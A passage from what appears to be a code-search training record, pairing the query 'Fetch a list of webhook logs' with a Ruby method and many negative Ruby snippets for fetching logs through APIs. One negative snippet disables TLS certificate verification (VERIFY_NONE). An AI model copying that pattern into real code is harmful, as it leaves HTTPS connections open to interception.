"0.5531955",
"0.5517655",
"0.5502316",
"0.54741746",
"0.5473469",
"0.5453446",
"0.54358035",
"0.54292566",
"0.54271626",
"0.54141784",
"0.5401511",
"0.53924114",
"0.53820175",
"0.5376527",
"0.53740895",
"0.5368212",
"0.53623337",
"0.53523993",
"0.53493315",
"0.53493315",
"0.5345364",
"0.53414637",
"0.53336704",
"0.53336704",
"0.53336704",
"0.53336704",
"0.53336704",
"0.53336704",
"0.53336704",
"0.53286594",
"0.5314185",
"0.5311149",
"0.5306262",
"0.5295893",
"0.52838767",
"0.5273026",
"0.5238072",
"0.52299374",
"0.5224909",
"0.5210756",
"0.52104867",
"0.520529",
"0.5202502",
"0.51959234",
"0.5195417",
"0.5181646",
"0.51794946",
"0.51794946",
"0.51786345",
"0.5168614",
"0.51645184",
"0.5163714",
"0.5159431",
"0.514999",
"0.514872",
"0.5147981",
"0.51293457",
"0.5115804",
"0.5114801",
"0.5100352",
"0.5093076",
"0.5088587",
"0.50867134",
"0.50802815",
"0.50733536"
] |
0.6947628
|
4
|
Fetch a list of webhook logs Returns a list of webhook logs. Response includes pagination.
|
def get_webhook_logs(opts = {})
data, _status_code, _headers = get_webhook_logs_with_http_info(opts)
data
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def list(options={})\n Mailgun.submit(:get, log_url, options)\n end",
"def get_webhook_logs_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: LogsApi.get_webhook_logs ...'\n end\n # resource path\n local_var_path = '/logs/webhooks'\n\n # query parameters\n query_params = {}\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'per'] = opts[:'per'] if !opts[:'per'].nil?\n query_params[:'created_at_from'] = opts[:'created_at_from'] if !opts[:'created_at_from'].nil?\n query_params[:'created_at_to'] = opts[:'created_at_to'] if !opts[:'created_at_to'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['AuthorizationKey', 'AuthorizationNonce', 'AuthorizationSecret', 'AuthorizationSignature']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'WebhookLogListResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: LogsApi#get_webhook_logs\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def index\n\t\t\t@logs = AppTracker::Log.order('created_at DESC').paginate(:page => params[:page], :per_page => 50)\n\t\tend",
"def index\n @web_service_logs = WebServiceLog.limit(20).order(\"id desc\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @web_service_logs }\n end\n end",
"def read_logs_all()\n logs = Log.find(:all, :order => 'created_at asc')\n end",
"def logs(options = {})\n request_params = {\n q: options.fetch(:q, nil),\n page: options.fetch(:page, nil),\n per_page: options.fetch(:per_page, nil),\n sort: options.fetch(:sort, nil),\n fields: options.fetch(:fields, nil),\n include_fields: options.fetch(:include_fields, nil),\n include_totals: options.fetch(:include_totals, nil),\n from: options.fetch(:from, nil),\n take: options.fetch(:take, nil)\n }\n if request_params[:take].to_i > 100\n raise Auth0::InvalidParameter, 'The total amount of entries to retrieve should be less than 100'\n end\n if request_params[:per_page].to_i > 100\n raise Auth0::InvalidParameter, 'The total amount of entries per page should be less than 100'\n end\n get(logs_path, request_params)\n end",
"def get_webhook_logs_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ManagementApi.get_webhook_logs ...'\n end\n if @api_client.config.client_side_validation && !opts[:'page_size'].nil? && opts[:'page_size'] > 1000\n fail ArgumentError, 'invalid value for \"opts[:\"page_size\"]\" when calling ManagementApi.get_webhook_logs, must be smaller than or equal to 1000.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'page_size'].nil? && opts[:'page_size'] < 1\n fail ArgumentError, 'invalid value for \"opts[:\"page_size\"]\" when calling ManagementApi.get_webhook_logs, must be greater than or equal to 1.'\n end\n\n allowable_values = [\"success\", \"error\"]\n if @api_client.config.client_side_validation && opts[:'status'] && !allowable_values.include?(opts[:'status'])\n fail ArgumentError, \"invalid value for \\\"status\\\", must be one of #{allowable_values}\"\n end\n # resource path\n local_var_path = '/v1/webhook_logs'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'pageSize'] = opts[:'page_size'] if !opts[:'page_size'].nil?\n query_params[:'skip'] = opts[:'skip'] if !opts[:'skip'].nil?\n query_params[:'sort'] = opts[:'sort'] if !opts[:'sort'].nil?\n query_params[:'status'] = opts[:'status'] if !opts[:'status'].nil?\n query_params[:'webhookId'] = opts[:'webhook_id'] if !opts[:'webhook_id'].nil?\n query_params[:'applicationId'] = opts[:'application_id'] if !opts[:'application_id'].nil?\n query_params[:'campaignId'] = opts[:'campaign_id'] if !opts[:'campaign_id'].nil?\n query_params[:'requestUuid'] = opts[:'request_uuid'] if !opts[:'request_uuid'].nil?\n query_params[:'createdBefore'] = opts[:'created_before'] if !opts[:'created_before'].nil?\n query_params[:'createdAfter'] = opts[:'created_after'] if !opts[:'created_after'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'InlineResponse20035' \n\n # auth_names\n auth_names = opts[:auth_names] || ['management_key', 'manager_auth']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ManagementApi#get_webhook_logs\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def index\n @logs = Log\n .order(start_time: :desc)\n .limit(100)\n .offset(params[:offset])\n\n render json: @logs\n end",
"def list()\n _params = {}\n return @master.call 'webhooks/list', _params\n end",
"def index\n @ncr_api_logs = NcrApiLog.all\n end",
"def get_logs(opt={})\n opt[:from] ||= Date.today\n #opt[:to] ||= Date.today - 1\n opt[:parse] = opt[:parse].nil? ? true : opt[:parse]\n \n #raise \":from date must preceed :to date.\" if opt[:to] && opt[:to] < opt[:from]\n \n uri_str = \"#{API_URL}/GetDailyReportLogs/#{options[:site]}?#{self.generate_authorization_token}\"\n uri_str << \"&StartDate=#{opt[:from]}\"\n uri_str << \"&EndDate=#{opt[:to]}\" if opt[:to]\n url = URI.parse uri_str\n \n http = Net::HTTP.new(url.host, url.port)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n resp = http.start {\n request = Net::HTTP::Get.new(url.to_s)\n response = http.request(request)\n response.body\n }\n if resp =~ /No.*?log data found/\n return opt[:parse] ? [] : resp\n end\n \n return opt[:parse] ? Log.parse(resp) : resp\n end",
"def list(filter=KalturaNotImplemented, pager=KalturaNotImplemented)\n\t\t\tkparams = {}\n\t\t\tclient.add_param(kparams, 'filter', filter);\n\t\t\tclient.add_param(kparams, 'pager', pager);\n\t\t\tclient.queue_service_action_call('audit_audittrail', 'list', kparams);\n\t\t\tif (client.is_multirequest)\n\t\t\t\treturn nil;\n\t\t\tend\n\t\t\treturn client.do_queue();\n\t\tend",
"def fetch_flow_logs(region)\n ec2_client = get_ec2_client(region)\n next_token = nil\n flow_logs = []\n\n loop do\n options = { next_token: nil, max_results: 50 }\n resp = ec2_client.describe_flow_logs(options)\n next_token = resp.next_token\n flow_logs += resp.flow_logs\n break unless next_token\n end\n flow_logs\n end",
"def list\n Mailgun.submit(:get, webhook_url)[\"webhooks\"] || []\n end",
"def list_logs_with_http_info(opts = {})\n\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: LogsAPI.list_logs ...'\n end\n # resource path\n local_var_path = '/api/v2/logs/events/search'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(opts[:'body'])\n\n # return_type\n return_type = opts[:debug_return_type] || 'LogsListResponse'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || [:apiKeyAuth, :appKeyAuth]\n\n new_options = opts.merge(\n :operation => :list_logs,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type,\n :api_version => \"V2\"\n )\n\n data, status_code, headers = @api_client.call_api(Net::HTTP::Post, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: LogsAPI#list_logs\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def list\n websites = @logs.records\n @view.show(websites)\n end",
"def get_logs(opts = {})\n @transporter.read(:GET, '/1/logs', {}, opts)\n end",
"def index\n @message_logs = MessageLog.ordered.paginate(page: params[:page])\n end",
"def index\n @user_logs_all = UserLog.fetch_data(current_user)\n @user_logs = @user_logs_all.paginate(page: params[:page], per_page: 15)\n end",
"def read_logs_all()\n #logs = Log.find(:all, :order => 'created_at asc')\n logs = Log.all.order('created_at asc')\n end",
"def list\n get(uri: '/webhooks/')\n end",
"def index\n @entry_logs = EntryLog.all\n end",
"def list_logs_get_with_http_info(opts = {})\n\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: LogsAPI.list_logs_get ...'\n end\n allowable_values = ['indexes', 'online-archives']\n if @api_client.config.client_side_validation && opts[:'filter_storage_tier'] && !allowable_values.include?(opts[:'filter_storage_tier'])\n fail ArgumentError, \"invalid value for \\\"filter_storage_tier\\\", must be one of #{allowable_values}\"\n end\n allowable_values = ['timestamp', '-timestamp']\n if @api_client.config.client_side_validation && opts[:'sort'] && !allowable_values.include?(opts[:'sort'])\n fail ArgumentError, \"invalid value for \\\"sort\\\", must be one of #{allowable_values}\"\n end\n if @api_client.config.client_side_validation && !opts[:'page_limit'].nil? && opts[:'page_limit'] > 1000\n fail ArgumentError, 'invalid value for \"opts[:\"page_limit\"]\" when calling LogsAPI.list_logs_get, must be smaller than or equal to 1000.'\n end\n # resource path\n local_var_path = '/api/v2/logs/events'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'filter[query]'] = opts[:'filter_query'] if !opts[:'filter_query'].nil?\n query_params[:'filter[indexes]'] = @api_client.build_collection_param(opts[:'filter_indexes'], :csv) if !opts[:'filter_indexes'].nil?\n query_params[:'filter[from]'] = opts[:'filter_from'] if !opts[:'filter_from'].nil?\n query_params[:'filter[to]'] = opts[:'filter_to'] if !opts[:'filter_to'].nil?\n query_params[:'filter[storage_tier]'] = opts[:'filter_storage_tier'] if !opts[:'filter_storage_tier'].nil?\n query_params[:'sort'] = opts[:'sort'] if !opts[:'sort'].nil?\n query_params[:'page[cursor]'] = opts[:'page_cursor'] if !opts[:'page_cursor'].nil?\n query_params[:'page[limit]'] = opts[:'page_limit'] if !opts[:'page_limit'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'LogsListResponse'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || [:apiKeyAuth, :appKeyAuth]\n\n new_options = opts.merge(\n :operation => :list_logs_get,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type,\n :api_version => \"V2\"\n )\n\n data, status_code, headers = @api_client.call_api(Net::HTTP::Get, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: LogsAPI#list_logs_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def get_all_logs(date_range_start, date_range_end, search = '', log_level = '',\n logger_assembly = '', user_id = 0, message_group_id = 0,\n include_traces = nil, org_unit_id = 0, bookmark = '')\n path = \"/d2l/api/lp/#{$lp_ver}/logging/\"\n path += \"?dateRangeStart=#{date_range_start}\"\n path += \"&dateRangeEnd=#{date_range_end}\"\n path += \"&search=#{search}\" if search != ''\n path += \"&logLevel=#{log_level}\" if log_level != ''\n path += \"&loggerAssembly=#{logger_assembly}\" if logger_assembly != ''\n path += \"&userId=#{user_id}\" if user_id != 0\n path += \"&messageGroupId=#{message_group_id}\" if message_group_id != 0\n path += \"&includeTraces=#{include_traces}\" unless include_traces.nil?\n path += \"&orgUnitId=#{org_unit_id}\" if org_unit_id != 0\n path += \"&bookmark=#{bookmark}\" if bookmark != ''\n ap path\n _get(path)\n # returns paged result set of Message data blocks\nend",
"def index\n @error_logs_all = ErrorLog.fetch_data(current_user)\n @error_logs = @error_logs_all.paginate(page: params[:page], per_page: 15)\n end",
"def list_logs_get(opts = {})\n data, _status_code, _headers = list_logs_get_with_http_info(opts)\n data\n end",
"def get_webhook_activation_logs_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ManagementApi.get_webhook_activation_logs ...'\n end\n if @api_client.config.client_side_validation && !opts[:'page_size'].nil? && opts[:'page_size'] > 1000\n fail ArgumentError, 'invalid value for \"opts[:\"page_size\"]\" when calling ManagementApi.get_webhook_activation_logs, must be smaller than or equal to 1000.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'page_size'].nil? && opts[:'page_size'] < 1\n fail ArgumentError, 'invalid value for \"opts[:\"page_size\"]\" when calling ManagementApi.get_webhook_activation_logs, must be greater than or equal to 1.'\n end\n\n # resource path\n local_var_path = '/v1/webhook_activation_logs'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'pageSize'] = opts[:'page_size'] if !opts[:'page_size'].nil?\n query_params[:'skip'] = opts[:'skip'] if !opts[:'skip'].nil?\n query_params[:'sort'] = opts[:'sort'] if !opts[:'sort'].nil?\n query_params[:'integrationRequestUuid'] = opts[:'integration_request_uuid'] if !opts[:'integration_request_uuid'].nil?\n query_params[:'webhookId'] = opts[:'webhook_id'] if !opts[:'webhook_id'].nil?\n query_params[:'applicationId'] = opts[:'application_id'] if !opts[:'application_id'].nil?\n query_params[:'campaignId'] = opts[:'campaign_id'] if !opts[:'campaign_id'].nil?\n query_params[:'createdBefore'] = opts[:'created_before'] if !opts[:'created_before'].nil?\n query_params[:'createdAfter'] = opts[:'created_after'] if !opts[:'created_after'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'InlineResponse20034' \n\n # auth_names\n auth_names = opts[:auth_names] || ['management_key', 'manager_auth']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ManagementApi#get_webhook_activation_logs\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def index\n @logs = Log.all\n end",
"def limited_log_list\n logs.all.last(max_log_count || DEFAULT_MAX_LOGS)\n end",
"def retrieve_logs_for_download\n parse_files_for_download\n\n output = ''\n jsons.reverse_each do |elem|\n output.insert(0, insert_log_line_for_download(elem))\n end\n\n output\n end",
"def log_entries\n @user = User.find(params[:id])\n @log_entries = LogEntry.where(:user_id => @user.id).page(params[:page] || 1)\n end",
"def logs\n cloud = Cloud.instance\n cloud.auth_for_accounts [id]\n cloud.get(['cloud-service-logging', 'accounts', id, 'logs', 'paginated?lang=DE']).body.logs\n end",
"def find_weblogs_for_offset(offset)\n weblogs.all(offset: offset, limit: DEFAULT_OFFSET)\n end",
"def index\n @logs = Log.order(\"#{sort_column} #{sort_direction}\").page(params[:page]).per(10)\n end",
"def get_logs_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: LogsApi.get_logs ...'\n end\n allowable_values = [\"es\", \"en\"]\n if @api_client.config.client_side_validation && opts[:'accept_language'] && !allowable_values.include?(opts[:'accept_language'])\n fail ArgumentError, \"invalid value for \\\"accept_language\\\", must be one of #{allowable_values}\"\n end\n if @api_client.config.client_side_validation && !opts[:'limit'].nil? && opts[:'limit'] > 250\n fail ArgumentError, 'invalid value for \"opts[:\"limit\"]\" when calling LogsApi.get_logs, must be smaller than or equal to 250.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'limit'].nil? && opts[:'limit'] < 1\n fail ArgumentError, 'invalid value for \"opts[:\"limit\"]\" when calling LogsApi.get_logs, must be greater than or equal to 1.'\n end\n\n # resource path\n local_var_path = '/logs'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'limit'] = opts[:'limit'] if !opts[:'limit'].nil?\n query_params[:'search'] = opts[:'search'] if !opts[:'search'].nil?\n query_params[:'next'] = opts[:'_next'] if !opts[:'_next'].nil?\n query_params[:'previous'] = opts[:'previous'] if !opts[:'previous'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/vnd.conekta-v2.1.0+json'])\n header_params[:'Accept-Language'] = opts[:'accept_language'] if !opts[:'accept_language'].nil?\n header_params[:'X-Child-Company-Id'] = opts[:'x_child_company_id'] if !opts[:'x_child_company_id'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'LogsResponse'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['bearerAuth']\n\n new_options = opts.merge(\n :operation => :\"LogsApi.get_logs\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: LogsApi#get_logs\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def index\n @user_logs = UserLog.paginate(:page => params[:page], :per_page => 30).order('created_at desc')\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @user_logs }\n end\n end",
"def index\n @webhook_endpoints = WebhookEndpoint.all\n end",
"def index\n @server_monitor_logs = ServerMonitorLog.fetch_log(params) \n end",
"def webhook_logs\r\n WebhookLogsController.instance\r\n end",
"def get_logs(start_time, end_time)\n\t\trefresh_token_if_needed()\n\t\tlogs = Array.new\n\t\t#add access token to header\n\t\theader = {\"Authorization\": \"Bearer #{@adal_response.access_token}\", \"Content-Length\": \"0\"}\n \t\trequest_uri = \"https://manage.office.com/api/v1.0/#{@tenantid}/activity/feed/subscriptions/content?contentType=#{@content_type}&startTime=#{start_time}&endTime=#{end_time}&PublisherIdentifier=#{@publisherid}\"\n \t\t# Send request to get blobs uri\n \t\tbegin\n response = Requests.request(\"GET\",request_uri, headers: header)\n\t\t\twhile response.headers.include? 'nextpageuri'\n \tnext_page = response.headers['nextpageuri'][0]\n \tprocess_page(response, logs)\n \t#use next page uri to get more blobs\n \tresponse = Requests.request(\"GET\", \"#{next_page}?PublisherIdentifier=#{@publisherid}\", headers: header)\n \tend\n rescue StandardError => e\n @logger.error(\"[#{@content_type}] Error getting page #{request_uri}\\n#{e.message}\")\n @logger.error(e.backtrace.inspect)\n end\n \t\tprocess_page(response, logs)\n\t\t@logger.info(\"[#{@content_type}] Processed #{logs.count} logs, start:#{start_time}, end:#{end_time}\")\n \t\tlogs\n\tend",
"def index\n @data_logs = DataLog.all\n end",
"def index\n @wr_logs = WrLog.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @wr_logs }\n end\n end",
"def list_logs(identifier, opts = {})\n data, _status_code, _headers = list_logs_with_http_info(identifier, opts)\n return data\n end",
"def index\n @calllogs = Calllog.all\n end",
"def get_bre_event_logs_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: LogsApi.get_bre_event_logs ...\"\n end\n # resource path\n local_var_path = \"/bre/logs/event-log\"\n\n # query parameters\n query_params = {}\n query_params[:'filter_start_date'] = opts[:'filter_start_date'] if !opts[:'filter_start_date'].nil?\n query_params[:'filter_event_name'] = opts[:'filter_event_name'] if !opts[:'filter_event_name'].nil?\n query_params[:'filter_event_id'] = opts[:'filter_event_id'] if !opts[:'filter_event_id'].nil?\n query_params[:'size'] = opts[:'size'] if !opts[:'size'].nil?\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'order'] = opts[:'order'] if !opts[:'order'].nil?\n query_params[:'filter_rule_id'] = opts[:'filter_rule_id'] if !opts[:'filter_rule_id'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['oauth2_client_credentials_grant', 'oauth2_password_grant']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'PageResourceBreEventLog')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: LogsApi#get_bre_event_logs\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def get_audit_log_entries_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: AuditLogApi.get_audit_log_entries ...'\n end\n # resource path\n local_var_path = '/auditlog'\n\n # query parameters\n query_params = {}\n query_params[:'before'] = opts[:'before'] if !opts[:'before'].nil?\n query_params[:'after'] = opts[:'after'] if !opts[:'after'].nil?\n query_params[:'q'] = opts[:'q'] if !opts[:'q'].nil?\n query_params[:'limit'] = opts[:'limit'] if !opts[:'limit'].nil?\n query_params[:'spec'] = opts[:'spec'] if !opts[:'spec'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['Token']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'AuditLogEntries')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: AuditLogApi#get_audit_log_entries\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def getTimeLogs(response)\r\n\t\t\t\ttimeLogs_json = JSON.parse response\r\n\t\t\t\ttimeLogs_array = timeLogs_json[\"timelogs\"]\r\n\t\t\t\treturn jsonToTimelogList(timeLogs_array)\r\n\t\t\tend",
"def get_logs(job_id:)\n logs = []\n xml_data = get_log_xml(job_id: job_id)\n response_code = get_log_xml_response_code(xml_data: xml_data)\n\n if response_code == \"success\"\n job_status = get_log_job_status(xml_data: xml_data)\n\n if job_status == \"FIN\"\n xml_data.xpath('//response/result/log/logs/*').each do |log_xml|\n logs << PaloAlto::Models::LogEntry.from_xml(xml_data: log_xml)\n end\n else\n raise \"Log job with ID '#{job_id}' is still in progress\"\n end\n else\n raise \"Error in response XML: #{data.inspect}\"\n end\n\n logs\n end",
"def index\n @user = current_user\n if ( params[:search] && (params[:search].size > 0) )\n @logs = search( Log, params[:search], [ \"msg\" ] )\n @paginate = false\n else\n @logs = Log.paginate( page: params[ :page ], per_page: 100, order: \"created_at desc\" )\n @paginate = true\n end\n end",
"def all\n raw_response = get_request('webhooks')\n parse_response(raw_response, :webhooks)\n end",
"def index\n @action_logs = ActionLog.order(\"created_at DESC\").\n paginate(:page => params[:page].blank? ? 1 : params[:page],\n :per_page => params[:per_page].blank? ? 20 : params[:per_page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @action_logs }\n end\n end",
"def get_webhook_activation_logs(opts = {})\n data, _status_code, _headers = get_webhook_activation_logs_with_http_info(opts)\n data\n end",
"def fetch_records\n offset = 0\n offset = @page_size * (@page_number - 1) if @page_number > 1\n\n ar_relation = UserActivityLog.using_client_shard(client: @client).where(\n user_id: @user_kyc_detail.user_id,\n log_type: GlobalConstant::UserActivityLog.admin_log_type\n )\n\n @total_action_logs = ar_relation.count\n\n @logs_ars = ar_relation.limit(@page_size).offset(offset).order('id DESC').all\n return if @logs_ars.blank?\n\n admin_ids = @logs_ars.collect(&:admin_id).compact.uniq\n return if admin_ids.blank?\n\n @admin_details = Admin.where(id: admin_ids).index_by(&:id)\n end",
"def list_logs_with_http_info(identifier, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: AlertApi.list_logs ...\"\n end\n # verify the required parameter 'identifier' is set\n if @api_client.config.client_side_validation && identifier.nil?\n fail ArgumentError, \"Missing the required parameter 'identifier' when calling AlertApi.list_logs\"\n end\n if @api_client.config.client_side_validation && opts[:'identifier_type'] && !['id', 'alias', 'tiny'].include?(opts[:'identifier_type'])\n fail ArgumentError, 'invalid value for \"identifier_type\", must be one of id, alias, tiny'\n end\n if @api_client.config.client_side_validation && opts[:'direction'] && !['next', 'prev'].include?(opts[:'direction'])\n fail ArgumentError, 'invalid value for \"direction\", must be one of next, prev'\n end\n if @api_client.config.client_side_validation && !opts[:'limit'].nil? && opts[:'limit'] > 100\n fail ArgumentError, 'invalid value for \"opts[:\"limit\"]\" when calling AlertApi.list_logs, must be smaller than or equal to 100.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'limit'].nil? && opts[:'limit'] < 1\n fail ArgumentError, 'invalid value for \"opts[:\"limit\"]\" when calling AlertApi.list_logs, must be greater than or equal to 1.'\n end\n\n if @api_client.config.client_side_validation && opts[:'order'] && !['asc', 'desc'].include?(opts[:'order'])\n fail ArgumentError, 'invalid value for \"order\", must be one of asc, desc'\n end\n # resource path\n local_var_path = \"/v2/alerts/{identifier}/logs\".sub('{' + 'identifier' + '}', identifier.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'identifierType'] = opts[:'identifier_type'] if !opts[:'identifier_type'].nil?\n query_params[:'offset'] = opts[:'offset'] if !opts[:'offset'].nil?\n query_params[:'direction'] = opts[:'direction'] if !opts[:'direction'].nil?\n query_params[:'limit'] = opts[:'limit'] if !opts[:'limit'].nil?\n query_params[:'order'] = opts[:'order'] if !opts[:'order'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['GenieKey']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'ListAlertLogsResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: AlertApi#list_logs\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def get_user_logs_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: LogsApi.get_user_logs ...\"\n end\n # resource path\n local_var_path = \"/audit/logs\"\n\n # query parameters\n query_params = {}\n query_params[:'filter_user'] = opts[:'filter_user'] if !opts[:'filter_user'].nil?\n query_params[:'filter_action_name'] = opts[:'filter_action_name'] if !opts[:'filter_action_name'].nil?\n query_params[:'size'] = opts[:'size'] if !opts[:'size'].nil?\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'order'] = opts[:'order'] if !opts[:'order'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['oauth2_client_credentials_grant', 'oauth2_password_grant']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'PageResourceUserActionLog')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: LogsApi#get_user_logs\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def logs_for_download\n retrieve_logs_for_download\n end",
"def list(offset = 0, limit = 100)\n api.get('', offset: offset, limit: limit)\n end",
